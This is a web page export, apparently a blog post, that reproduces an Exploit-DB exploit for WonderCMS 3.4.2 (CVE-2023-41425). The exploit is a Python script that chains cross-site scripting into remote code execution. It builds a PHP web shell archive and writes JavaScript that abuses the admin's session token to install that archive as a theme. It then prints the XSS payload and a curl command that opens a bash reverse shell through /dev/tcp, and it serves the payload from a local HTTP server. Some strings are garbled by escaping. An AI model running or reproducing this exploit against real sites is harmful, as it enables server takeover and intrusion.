\n# Exploit Title: WonderCMS 3.4.2 – Remote Code Execution (RCE)
\n
# Date: 2025-04-16
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# Exploit Author: Milad Karimi (Ex3ptionaL)
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# Contact: miladgrayhat@gmail.com
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# Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL
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# MiRROR-H: https:\/\/mirror-h.org\/search\/hacker\/49626\/
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# CVE: CVE-2023-41425<\/p>\n
import requests
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import argparse
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from argparse import RawTextHelpFormatter
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import os
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import subprocess
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import zipfile
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from termcolor import colored<\/p>\n
def main():
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parser = argparse.ArgumentParser(description=”Exploit Wonder CMS v3.4.2
\n
XSS to RCE”, formatter_class=RawTextHelpFormatter)
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parser.add_argument(“–url”, required=True, help=”Target URL of
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loginURL (Example: http:\/\/sea.htb\/loginURL)”)
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parser.add_argument(“–xip”, required=True, help=”IP for HTTP web
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server that hosts the malicious .js file”)
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parser.add_argument(“–xport”, required=True, help=”Port for HTTP web
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server that hosts the malicious .js file”)
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args = parser.parse_args()<\/p>\n
target_login_url = args.url
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target_split = args.url.split(‘\/’)
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target_url = target_split[0] + ‘\/\/’ + target_split[2]<\/p>\n
# Web Shell
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print(“[+] Creating PHP Web Shell”)
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if not os.path.exists(‘malicious’):
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os.mkdir(‘malicious’)
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with open (‘malicious\/malicious.php’, ‘w’) as f:
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f.write(‘‘)
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with zipfile.ZipFile(‘.\/malicious.zip’, ‘w’) as z:
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z.write(‘malicious\/malicious.php’)
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os.remove(‘malicious\/malicious.php’)
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os.rmdir(‘malicious’)
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else:
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print(colored(“[!] Directory malicious already exists!”, ‘yellow’))<\/p>\n
# Malicious .js
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js = f”’var token =
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document.querySelectorAll(‘[name=”token”]’)[0].value;
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var module_url =
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“{target_url}\/?installModule=http:\/\/{args.xip}:{args.xport}\/malicious.zip&directoryName=pwned&type=themes&token=”
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+ token;
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var xhr = new XMLHttpRequest();
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xhr.withCredentials = true;
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xhr.open(“GET”, module_url);
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xhr.send();”’<\/p>\n
print(“[+] Writing malicious.js”)
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with open(‘malicious.js’, ‘w’) as f:
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f.write(js)<\/p>\n
xss_payload = args.url.replace(“loginURL”,
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“index.php?page=loginURL?”)+”\\”><\/form>\n
“+args.xip+”:”+args.xport+”\/malicious.js\\”><\/script>\n
print(colored(f”{xss_payload}”, ‘red’))<\/p>\n
print(“[+] Web Shell can be accessed once .zip file has been
\n
requested:”)<\/p>\n
print(colored(f”{target_url}\/themes\/malicious\/malicious.php?cmd=“,
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‘red’))
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print(“[+] To get a reverse shell connection run the following:”)
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print(colored(f”curl -s ‘{target_url}\/themes\/malicious\/malicious.php’
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–get –data-urlencode \\”cmd=bash -c ‘bash -i >& \/dev\/tcp\/\/
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0>&1’\\” “, ‘yellow’))<\/p>\n print(“[+] Starting HTTP server”)
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subprocess.run([“python3”, “-m”, “http.server”, “-b”, args.xip,
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args.xport])<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title WonderCMS 3.4.2 – Remote Code Execution (RCE) Exploit ID EDB-ID:52271 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,31,12,40,21,13,7,11,5],"class_list":["post-929","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-61","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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